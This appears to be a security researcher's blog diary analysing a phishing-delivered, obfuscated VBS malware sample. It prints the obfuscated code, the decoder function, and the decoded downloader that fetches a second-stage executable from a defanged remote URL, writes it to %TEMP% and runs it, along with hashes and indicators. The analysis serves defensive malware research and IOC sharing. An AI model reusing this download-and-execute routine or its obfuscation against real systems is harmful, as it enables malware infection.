Quick Malicious VBS Analysis
Let’s have a look at a VBS sample found yesterday. It started as usual with a phishing email that contained a link to a malicious ZIP archive. This technique is more and more common to deliver the first stage via a URL because it reduces the risk to have the first file blocked by classic security controls. The link was:
hxxp://weddingcardexpress[.]com/ext/modules/payment/moneybookers/logos/docs/8209039094.zip
The downloaded file is saved as JVC_53668.zip (SHA256: 9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61) has a VT score of 1/56[1].
The archive contains a VBS script called JVC_53668.vbs (SHA256:f894030285d5a577bf970692c2e7096137460802348ee71b5198497c2d603ce1) and unknown on VT at the redaction time of this diary. What looks strange in the size of the file: 3.8MB! The file is indeed heavily poluted with many very long comment lines. Once cleaned up, the size is reduced to 159KB. Having a big file is also interesting for an attacker because some security controls do not scan or process files above a certain size for performance reasons.
The code is also obfuscated via many mathematical expressions:
ddvA = Mid(otQh, 451 - 386 + 2 - 303 + 24 - 12 + 19 - 14 + 21 + 433 - 230, 281 + 212 - 325 + 4 + 444 - 10 - 153 - 19 - 482 - 158 - 466 + 11 + 12 - 433 + 1084) jqCe = 471 - 23 + 245 - 274 - 285 - 2 + 391 + 21 + 25 - 16 - 15 + 4 - 434 + 13 + 578 isW = CInt(ddvA) tztf = 162 + 19 - 277 - 3 + 22 - 16 + 235 - 7 + 5 - 2 - 7 + 438 + 11 - 24 - 445 + 527 uox = FQE and tztf wMs = Asc(Mid(InP, isW, 216 - 437 - 21 + 427 + 20 - 226 - 122 - 21 - 315 - 15 - 119 + 333 + 281)) CBTl = 411 - 142 - 131 + 8 - 12 - 11 + 13 + 25 + 13 - 397 - 7 + 9 + 960 KWZM = Sqr(amYG) ddvA = Mid(otQh, 327 + 165 + 11 - 376 - 486 + 14 + 152 + 438 - 475 - 466 - 22 + 494 - 2 - 112 - 24 - 310 + 678, 194 + 119 - 151 - 351 + 14 + 14 + 328 + 9 + 466 + 6 - 286 + 150 - 510) Pts = 317 + 11 + 23 + 13 - 359 + 159 + 23 - 4 - 311 - 9 + 659
But, it’s not difficult to spot the most interesting part of the code. There is the following line is present close to the file end:
eXEcUTegLObAL kpYE
ExecuteGlobal[2] is used in VBS like IEX in PowerShell. The code passed as an argument will be executed in the context of the script. Let’s have a look at the 'kpYE' variable:
kpYE = UkX(zANa, PChk)
UkX() is the only function present in the script. Here is a beautified version:
function UkX(VSqz, kdH) On Error Resume Next MRgD = VSqz Pts = Xear * cTln qaux = LoKu - jqCe XqIc = DJlE * LoKu whhI = "" Xear = AYwV and qaux jqCe = Sgn(Pts) OaT = "" vDI = 480 + 319 + 4 + 19 - 285 + 327 - 25 + 109 + 453 + 11 - 22 + 2 - 306 - 478 FBD = 279 + 260 + 202 + 270 + 399 - 348 - 173 + 20 + 14 - 922 JNHe = 377 + 9 + 309 + 351 - 152 - 12 - 9 - 289 + 111 Xear = 159 + 6 - 14 + 18 - 249 + 392 - 191 - 25 - 20 + 454 - 7 + 468 + 333 + 335 - 21 - 926 for i=215 + 193 - 4 - 394 + 111 + 3 + 364 - 24 + 15 - 25 + 272 - 12 + 19 - 129 - 328 - 275 to len(MRgD) KWZM = 348 - 9 - 463 - 16 - 305 + 154 - 255 + 493 + 240 + 441 - 8 - 23 - 116 + 132 + 22 - 41 gmJg = cTln + DJlE if ( asc(mid(MRgD, i, 481 - 10 + 154 + 103 - 469 - 19 - 433 - 13 + 207)) > 276 - 269 - 21 - 4 + 497 - 383 - 163 + 330 + 352 - 568 and asc(mid(MRgD, i, 417 - 3 - 445 + 498 + 4 + 20 + 215 + 489 + 7 + 14 - 1215)) < 130 + 15 + 144 - 4 + 10 + 109 - 364 - 380 + 398 ) then qaux = gmJg and XqIc AYwV = 410 - 115 - 273 - 129 + 499 - 3 + 150 + 2 - 32 whhI = whhI + mid(MRgD, i, 302 - 223 + 112 - 372 + 25 - 345 - 11 - 202 + 715) JNHe = JNHe and tztf FBD = 452 + 8 - 21 - 23 - 156 - 24 + 10 - 375 + 130 LoKu = 240 + 492 - 11 - 482 + 391 + 15 - 451 - 2 - 7 + 21 + 475 AYwV = vDI / tztf FQE = EkB and tztf else AYwV = Log(EkB) Pts = Exp(CBTl) fEt = Exp(cTln) if FBD = 391 + 340 + 7 + 106 - 413 - 256 + 13 + 18 + 226 - 7 - 18 - 430 + 203 + 19 - 119 - 79 then fEt = 482 + 11 + 7 - 17 - 188 + 18 + 3 - 500 + 443 - 10 + 223 - 363 + 391 + 440 - 7 - 179 - 106 LoKu = 160 - 147 - 335 - 167 - 21 + 21 - 6 + 2 - 342 + 1458 FQE = gmJg + mpuU xba = CInt(whhI) UIh = xba xor kdH OaT = OaT + Chr(UIh) AYwV = 165 - 18 + 366 - 15 - 16 + 17 - 19 + 9 - 4 + 17 + 14 + 379 - 17 - 425 + 201 end if vDI = 363 - 385 + 188 + 182 + 425 - 11 - 144 - 269 + 187 + 14 + 95 LoKu = AYwV - Xear whhI = "" tztf = XqIc + gmJg HMTs = 240 - 11 + 304 + 382 + 299 + 195 - 10 + 395 + 12 + 20 + 11 - 2 - 186 - 215 + 373 - 151 - 940 LoKu = Pts * KWZM FBD = 491 - 24 + 8 - 440 - 20 + 16 - 21 - 12 - 13 + 383 - 368 FQE = CBTl / JNHe KWZM = EkB and mpuU end if CBTl = EkB * tztf next UkX = OaT uox = mpuU or DJlE qaux = 334 - 25 + 15 + 372 + 388 - 25 + 10 - 17 - 101 - 353 + 248 + 469 - 11 - 733 jqCe = 355 + 8 - 2 - 12 + 12 - 24 - 20 + 116 + 245 end function
The variable 'zANa' is a very long string:
zANa = "113X113Cv{fR100. Q49Z$52?107Mo$|53)CgT113 PTx112!%aD{b21Cc<rRu49Bd}UD27aQ30{Wz!36-v122}zaq125v6,(c*7Z:nyFV115zGb:M114/*BE53xLm126MI!D122od22d25K- *k34&?&W110XE122^uf112v+!l45lN;32yZc&S121;51<YmW-14P11o&CQE.110q:&:e10)u<SXV107QdP 121/112^Op}<Z17qXhP<62nuI37v~u$L113@Mv113rb[50)xWKZr8vqfYjy102e29o(T^V{119D113)bbQ}113< n@v 49X=Q59_!|121rh K122MD 121XK13d^V}47Ny*61tEcb49*124q!:120[(Dodk1.%XFH:96y,L~Rg15<l{24,h 121p112mE38p24Y^)_wj1VHw38?22n!ii 121 127=oV]SP65Z121;ViE125(50$)R27C+?60}Y7ogC45s14|=121w@122t125} b36TKlZ24S^e*P45v V^121=120l123k;twd101EM16d121f B| 120Qr=fNI120s:#cX36;: 41~j65T!$Oh33([121Mt120d*rOQ123d27)hlf^0#*53f[%$s43p44zo*108hJM121Jh125 :x}[!46]/_$123pp[P~126~Iqxn51 .R!g113+126&K*-E39S]d ... ..."
As a security analyst, when I have to dive into malicious code, my goal is to understand as fast as possible if the code is malicious (most of the time, it is) but also what are the next actions and how to extract useful information to share with other teams to protect the organization (ex: sharing IOC’s)
I don’t have to spend time to understand how the function UkX() works. Just by having a look at the arguments, we can guess that it just decodes a string (arg1) with a key (arg2). Let’s execute the script in a sandbox but replace the ExecuteGlobal() function with WScript.Echo() to print the decoded content:
Here is the code for better readability:
on error resume next arr=split(KPH,"___") set a=WScript.CreateObject(arr(0)) set b=WScript.CreateObject(arr(1)) f=a.ExpandEnvironmentStrings(arr(2))&arr(3) set c=a.CreateShortcut(f) c.TargetPath=arr(4) c.Save if b.FileExists(f)=false Then e=a.ExpandEnvironmentStrings(arr(2))&arr(5) Call u sub u set d=createobject(arr(6)) set w=createobject(arr(7)) d.Open arr(8),arr(9),False d.setRequestHeader arr(10),arr(11) d.Send with w .type=1 .open .write d.responseBody .savetofile e,2 end with end sub WScript.Sleep 60000 a.Exec(e) end if
This code uses an array (arr) that is created via a call to split() at the beginning. Let’s apply the same technique and re-execute the script with a "Wscript.echo KPH”:
The decoded & split array is:
WScript.Shell Scripting.FileSystemObject %TEMP% \x.url an \VideoBoost.exe MSXML2.ServerXMLHTTP.6.0 Adodb.Stream GET hxxp://baytk-ksa[.]com/devenv/vendor/laravelcollective/html/src/qrz/asgdyasgfyfdd.png?bg=spx24 User-Agent lex
We understand now that the second stage is downloaded from the above URL and dumped on disk as “VideoBoost.exe”. The PE file (SHA256:c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062) received a score of 7/70 on VT[3].
[1] https://www.virustotal.com/gui/file/9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61/detection
[2] https://ss64.com/vb/execute.html
[3] https://www.virustotal.com/gui/file/c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments